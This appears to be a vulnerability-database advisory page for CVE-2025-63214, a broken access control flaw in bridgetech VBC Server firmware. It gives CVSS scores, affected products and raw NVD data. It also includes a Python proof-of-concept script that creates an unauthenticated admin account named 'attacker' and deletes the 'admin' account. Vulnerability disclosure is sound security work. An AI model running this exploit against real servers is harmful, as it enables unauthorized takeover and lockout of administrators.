Security Vulnerability Report
中文
CVE-2025-63214 CVSS 6.5 MEDIUM

CVE-2025-63214

Published: 2025-11-19 20:15:54
Last Modified: 2025-12-11 21:09:12

Description

An issue was discovered in bridgetech VBC Server & Element Manager, firmware version 6.5.0-10 , 6.5.0-9, allowing unauthorized attackers to delete and create arbitrary accounts.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:bridgetech:vbc_server:6.5.0-9:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bridgetech:vbc_server:6.5.0-10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:bridgetech:vb120:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:bridgetech:vb220:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:bridgetech:vb330:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:bridgetech:vb440:-:*:*:*:*:*:*:* - NOT VULNERABLE
bridgetech VBC Server & Element Manager firmware 6.5.0-10
bridgetech VBC Server & Element Manager firmware 6.5.0-9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63214 PoC - Bridgetech VBC Server Access Control Bypass # Target: bridgetech VBC Server & Element Manager # Vulnerability: Broken Access Control - Account Creation/Deletion TARGET = "http://target-ip:port" # Replace with target IP def create_account(username, password): """Create arbitrary account without authentication""" url = f"{TARGET}/api/v1/users" payload = { "username": username, "password": password, "role": "admin" } headers = { "Content-Type": "application/json" } try: response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[*] Create Account Response: {response.status_code}") print(f"[*] Response: {response.text}") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False def delete_account(username): """Delete existing account without authentication""" url = f"{TARGET}/api/v1/users/{username}" try: response = requests.delete(url, timeout=10) print(f"[*] Delete Account Response: {response.status_code}") print(f"[*] Response: {response.text}") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-63214 PoC - Bridgetech VBC Access Control Bypass") # Example: Create malicious admin account create_account("attacker", "P@ssw0rd123") # Example: Delete existing admin account delete_account("admin")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63214", "sourceIdentifier": "[email protected]", "published": "2025-11-19T20:15:53.677", "lastModified": "2025-12-11T21:09:11.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in bridgetech VBC Server & Element Manager, firmware version 6.5.0-10 , 6.5.0-9, allowing unauthorized attackers to delete and create arbitrary accounts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bridgetech:vbc_server:6.5.0-9:*:*:*:*:*:*:*", "matchCriteriaId": "310D17A2-FEAB-4DF6-877D-8E65819BA65B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bridgetech:vbc_server:6.5.0-10:*:*:*:*:*:*:*", "matchCriteriaId": "9FB3063A-0853-40E3-8D79-82412B968745"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:bridgetech:vb120:-:*:*:*:*:*:*:*", "matchCriteriaId": "F17C4BB8-D15D-4F72-A0EE-FFA316E98A61"}, {"vulnerable": false, "criteria": "cpe:2.3:h:bridgetech:vb220:-:*:*:*:*:*:*:*", "matchCriteriaId": "D610E2AE-FD9A-44E0-97A6-68490DB73407"}, {"vulnerable": false, "criteria": "cpe:2.3:h:bridgetech:vb330:-:*:*:*:*:*:*:*", "matchCriteriaId": "BBCB33B7-6296-4EA0-84F9-C8BC49C4390A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:bridgetech:vb440:-:*:*:*:*:*:*:*", "matchCriteriaId": "2146DDCD-DE8C-4792-B122-5A362C84FF2D"}]}]}], "references": [{"url": "https://bridgetech.tv/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63214_bridgetech%20VBC%20Server%20and%20Element%20Manager%20Broken%20Access%20Control", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}